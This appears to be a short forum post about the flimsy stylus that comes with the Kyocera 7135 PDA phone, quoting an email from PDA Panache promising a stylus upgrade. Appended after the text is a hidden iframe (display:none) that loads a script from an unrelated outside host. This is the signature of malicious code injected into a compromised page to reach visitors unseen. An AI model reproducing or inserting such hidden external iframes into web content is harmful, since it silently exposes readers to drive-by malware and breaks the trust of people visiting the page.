I always hate the "cheap" stylus that comes with a PDA. I like more heft and feel then the 7135 Stylus. Although I have no details, this is the response I got from an email to PDA PANACHE-
Thank you for contacting us.
Yes, we are developing a stylus upgrade for the K7135 phone and expect
availability later this summer.

If you know of anyone else having a replacement stylus, please let us know.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>